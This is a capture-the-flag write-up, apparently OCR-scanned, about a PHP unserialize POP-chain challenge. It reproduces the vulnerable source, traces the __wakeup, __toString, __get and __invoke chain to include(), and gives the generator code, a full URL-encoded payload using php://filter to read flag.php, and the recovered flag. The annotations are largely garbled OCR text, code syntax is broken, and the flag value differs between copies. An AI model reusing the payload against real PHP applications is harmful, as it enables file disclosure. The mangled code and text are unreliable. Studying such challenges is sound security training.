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Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%ES5%BA%SFH%ES%88%97%ES5%8C%I6%EI%BAD%IANEE6%ICHAF%EE%I6%
B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
¥
public function __invoke(){
$this->append($this->var);

class Show{

public $source;

public $str;

public function __construct($file="index.php"){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";

¥

public function __ toString(){
return $this->str->source;

public function __ wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {

echo "hacker";
$this->source = "index.php";

class Test{
public $p;
public function _ construct(){
$this->p = array();

public function _ get($key){
$function = $this->p;
return $function();

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
b
else{
$a=new Show;
highlight file(__ FILE_);
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Welcome to index.php

<?php

//flag is in flag.php //$&R: flagtiflag. phpXfEp, FHIZ TR H 3 Fflag. php

//WTF IS THIS?

//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%ES5%BA%8F%E5%88%97%E5%8C%O6%E9%AD%IA%E6%ICHAF%EE%I6%
B9%E6%B3%95

//And Crack It!

class Modifier { //2%, Modifier
protected $var; / /@Y, $var
public function append($value){ //EENXTii%, append($value)
include($value); [/ S K $value, JEIEX B AT DUR) A SO/ & B F lag . php O A 25
b
public function __ invoke(){ //__invoke () BEAR J5ik: TEISHIRT G i FH A s B s e, E 34
$this->append($this->var); /e R E$varti N B € 7 append ($value), AT —iX

)
//?E”ﬂ‘#/
X HERATEARPAT A B Flag. php, b4t EH Happend ($value) /7 ik
X HIRATEA I FHappend ($value) vk, A FHEH__invoke () EEA T4
EIAF__invoke (), S4BT EFKModifierSitXt Gl FH N R %L
/xR, BATESRM$varBEMESES T $valuez4l, FrllE A S flag. phpiiig, #FEE%$varfE Aphp://filter
. [A]

class Show{ /735, Show

public $source; [/~ fJEM, $source

public $str; [/ AE B, $str

public function _ construct($file="index.php'){ //AEWIEHZ, ERENGLGIbz /i, HEgRH
$this->source = $file; //%$this->source/g It fE$file
echo 'Welcome to '.$this->source."<br>"; //FTEIF45H:

)

public function _ toString(){ //__toString()BEARIIE, FEEHIN RS E TR R EAER %, B3R
return $this->str->source; //iRE]l, strjEE{E N source)E

public function _ wakeup(){ //__wakeup () BEARTTEE, ESREIN B RFFIEINHE,  E 50k
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //IENILIcsource/sEHIME
echo "hacker";

$this->source = "index.php"; //sourcel&PEI{E Nindex. php

//1RE

//__toString()EEARTVEL, 1 LLFFHiE“$this->str->source”

/ /T, FRATA LG str@ e NTestR KN %, Al TiZA 2% Hsource/gtE, MamaiHTest Rl get () BEARITE
/[ LAREL A toStringBEARTIE, TR ZEShowZ % G4 A E 745 B # A

/ /AR, AT _wakeup () BEARJ5 %, HIA source@ P U E T4 H L LR, At DAFRATAT LA4: source & HEIRE S how & PRI X 5
//FTCL R B, AT AR I P54k, A wake () BEAR 7%, Hsourcel®E AZEMIT LR, str/@PEIRE NTestIEfxt G iimy

class Test{ //35, Test
public $p; /]~ ENE, $p
public function __ construct(){ [/ ABETTE, RN RSB /T, BshiR A
$this->p = array(); /1 JEYES p I UE A A




public function _ get($key){ //__get()E %, VilizE AT i JE e, B sl
$function = $this->p; //)JEtE$this->plitftizh$function
return $function(); //3E$functionifid  A$function () &%

)
/ /AR
/ /X B R ESp Rl Lk, _ invoke () BEAR VL, Bl REL$pIR{E IModifierZ 1%t GBI Af

if(isset($_GET['pop'])){
@unserialize($_GET[ 'pop']);
¥
elseq{
$a=new Show;
highlight file(_ FILE_ );
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FVUP: 4% S payload

unserialize()-->__wakeup()-->toString()-->__get()-->__invoke()-->append()-->include()




protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php";

class Show{
public $source;
public $str;

public function _ construct($file){
$this->source = $file;

¥
public function __ toString(){

return

class Test{
public $p;

new Show('chen');
$chen->str = new Test();
$chen->str->p = new Modifier();
$test = new Show($chen); //Hi T $source/EBIELLAiiE, ShowZEiHIxf 4
echo urlencode(serialize($test));
/ /0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22s0urce’22%3B0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source’%22%3Bs%3A4%3A
%622chen’%22%3Bs%3A3%3A%22str%22%3B0%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3B0%3A8%3A%22Modifier%22%3A1%3A%7Bs
%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag. php%
22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

/ /POP%:

/[ E SR IGREL,  filz ShowdsH [fiwakeup /7%, wakeup /7 VA5 B Ab#E, fill R tosring /772,

[/ WK strsL it NTest, K ATestI A source/@it:, Frlliifget ik, FIH pKiModifier ittt G FH > ek B (s
/ /BRI fil % Hedrinvoke ik, & SCHE A R, itflag. php
//__wakeup()-->__toString()-->__get()-->__invoke

payload:
?pop=0%3A4%3A%22Show?%22%3A2%3A%7Bs%3A6%3A%22source%22%3B0%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4
%3A%22chen%22%3Bs%3A3%3A%22str%22%3B0%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3B0%3A8%3A%22Modifier%22%3A1%3A%
7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.p
hp%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

flag: flag{896f3cd7-6900-4469-8293-f1lc24aa4d300}

ARSI A :
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgIGZsYWcOICImbGFnezg5NmYzY2Q3LTY5MDAtNDQ20S04M kz LWY XYz IOYWEOZDMWMHO10wWp9
CmVjaG8gIkhlbHAgTWUgRM1uZCBGTEFHISI7C8+

i IBJ)F[:
class Flag{
private $flag= "flag{896f3cd7-6900-4469-8293-f1c24aa4d300}";

}
echo "Help Me Find FLAG!";




//__wakeup()-->__toString()-->__get()-->__invoke

invoke () BEARJ7i%: fEK! T PR RO, B

toString() AR g YT GEHE,  E S E
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